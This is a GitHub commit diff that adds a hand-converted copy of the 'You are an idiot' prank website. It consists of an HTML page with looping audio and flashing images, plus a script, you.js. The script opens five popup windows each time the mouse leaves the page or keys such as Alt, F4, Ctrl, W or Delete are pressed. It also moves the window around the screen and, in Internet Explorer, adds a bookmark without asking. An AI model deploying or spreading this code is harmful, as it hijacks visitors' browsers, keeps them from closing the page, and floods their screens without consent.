Skip to content

Commit 0e4cbbb

Browse files
authored
Add files via upload
1 parent 1e9698e commit 0e4cbbb

File tree

6 files changed

+178
-0
lines changed

6 files changed

+178
-0
lines changed

Idiot!.html

+98
Original file line numberDiff line numberDiff line change
@@ -0,0 +1,98 @@
1+
<!DOCTYPE html>
2+
<html>
3+
<head>
4+
<title>Idiot!</title>
5+
<meta name="Author" content="A mystery tbh">
6+
<link rel="icon" href="./Idiot!_files/idiot.png">
7+
<meta http-equiv="Content-Type" content="text/html; charset=UTF-8">
8+
<meta name="Keywords" content="you are an idiot, you, are, an, idiot, fool, youdontknowwhoiam.org, youdontknowwhoiam, you dont know who i am, you, dont, know, who, i, am, org, dot, aregner, jazzy, adr">
9+
<meta name="Description" content="The first and best flash video on the &#39;net.">
10+
<meta property="og:type" content="website">
11+
<meta property="og:title" content="You are an idiot!">
12+
<meta property="og:description" content="This is a new hand-converted iteration of the legendary website.">
13+
<meta property="og:image" content="http://captainchicky.github.io/Idiot!/Converted/Idiot!_files/idiot.png">
14+
<meta property="og:image:secure_url" content="https://captainchicky.github.io/Idiot!/Converted/Idiot!_files/idiot.png">
15+
<meta property="og:image:width" content="256">
16+
<meta property="og:image:height" content="256">
17+
<meta property="og:image:alt" content="Idiot!">
18+
<style>
19+
@keyframes img-1 {
20+
0% {
21+
opacity: 1;
22+
}
23+
44% {
24+
opacity: 1;
25+
}
26+
50% {
27+
opacity: 0;
28+
}
29+
94% {
30+
opacity: 0;
31+
}
32+
100% {
33+
opacity: 1;
34+
}
35+
}
36+
@keyframes img-2 {
37+
0% {
38+
opacity: 0;
39+
}
40+
44% {
41+
opacity: 0;
42+
}
43+
50% {
44+
opacity: 1;
45+
}
46+
94% {
47+
opacity: 1;
48+
}
49+
100% {
50+
opacity: 0;
51+
}
52+
}
53+
.wrapper {
54+
margin-left: 16.5% !important;
55+
position: relative;
56+
height: 100%;
57+
width: 68%;
58+
}
59+
.wrapper img:first-child {
60+
position: absolute;
61+
width: 100%;
62+
opacity: 1;
63+
animation: img-1 0.4s infinite;
64+
}
65+
66+
.wrapper img:last-child {
67+
position: absolute;
68+
width: 100%;
69+
opacity: 0;
70+
animation: img-2 0.4s infinite;
71+
}
72+
73+
body {
74+
user-select: none;
75+
}
76+
</style>
77+
<script src="./Idiot!_files/you.js"></script>
78+
</head>
79+
<body onload="flagRun=1;playBall();return true;bookmark();" onkeydown="altf4key();ctrlwkey();delkey();" onmouseout="procreate();" leftmargin="0" topmargin="0" marginwidth="0" marginheight="0">
80+
<div class="wrapper">
81+
<img src="./Idiot!_files/black.png">
82+
<img src="./Idiot!_files/white.png">
83+
</div>
84+
<audio id="IdiotAudio" loop><source src="./Idiot!_files/Idiot!.mp3" type="audio/mp3"></audio>
85+
<script>
86+
var audio = document.getElementById("IdiotAudio");
87+
audio.autoplay = true
88+
</script>
89+
<script>
90+
audio.loop = true;
91+
document.addEventListener('click', function() {
92+
if (audio.paused) {
93+
audio.play();
94+
}
95+
});
96+
</script>
97+
</body>
98+
</html>

Idiot!_files/Idiot!.mp3

38.3 KB
Binary file not shown.

Idiot!_files/black.png

22.2 KB
Loading

Idiot!_files/idiot.png

12.8 KB
Loading

Idiot!_files/white.png

27 KB
Loading

Idiot!_files/you.js

+80
Original file line numberDiff line numberDiff line change
@@ -0,0 +1,80 @@
1+
function bookmark() {
2+
if ((navigator.appName == "Microsoft Internet Explorer")
3+
&& (parseInt(navigator.appVersion) >= 4)) {
4+
var url = "lol.html";
5+
var title = "Idiot!";
6+
window.external.AddFavorite(url, title);
7+
}
8+
}
9+
10+
var xOff = 5;
11+
var yOff = 5;
12+
var xPos = 400;
13+
var yPos = -100;
14+
var flagRun = 1;
15+
16+
function changeTitle(title) {
17+
document.title = title;
18+
}
19+
20+
function openWindow(url) {
21+
aWindow = window.open(url, "_blank", 'menubar=no, status=no, toolbar=no, resizable=no, width=357, height=330, titlebar=no, alwaysRaised=yes');
22+
}
23+
24+
function procreate() {
25+
changeTitle("Idiot!");
26+
for (var i = 0; i < 5; i++) {
27+
openWindow('lol.html');
28+
}
29+
}
30+
31+
function altf4key() { if (event.keyCode == 18 || event.keyCode == 115) { alert("You are an idiot!"); procreate(); } }
32+
function ctrlwkey() { if (event.keyCode == 17 || event.keyCode == 87) { alert("You are an idiot!"); procreate(); } }
33+
function delkey() { if (event.keyCode == 46) { alert("You are an idiot!"); procreate(); } }
34+
35+
function newXlt() {
36+
xOff = Math.ceil(-6 * Math.random()) * 5 - 10;
37+
window.focus()
38+
}
39+
40+
function newXrt() {
41+
xOff = Math.ceil(7 * Math.random()) * 5 - 10;
42+
}
43+
44+
function newYup() {
45+
yOff = Math.ceil(-6 * Math.random()) * 5 - 10;
46+
}
47+
48+
function newYdn() {
49+
yOff = Math.ceil(7 * Math.random()) * 5 - 10;
50+
}
51+
52+
function fOff() {
53+
flagrun = 0;
54+
}
55+
56+
function playBall() {
57+
xPos += xOff;
58+
yPos += yOff;
59+
60+
if (xPos > screen.width - 357) {
61+
newXlt();
62+
}
63+
64+
if (xPos < 0) {
65+
newXrt();
66+
}
67+
68+
if (yPos > screen.height - 330) {
69+
newYup();
70+
}
71+
72+
if (yPos < 0) {
73+
newYdn();
74+
}
75+
76+
if (flagRun == 1) {
77+
window.moveTo(xPos, yPos);
78+
setTimeout('playBall()', 1);
79+
}
80+
}

0 commit comments

Comments
 (0)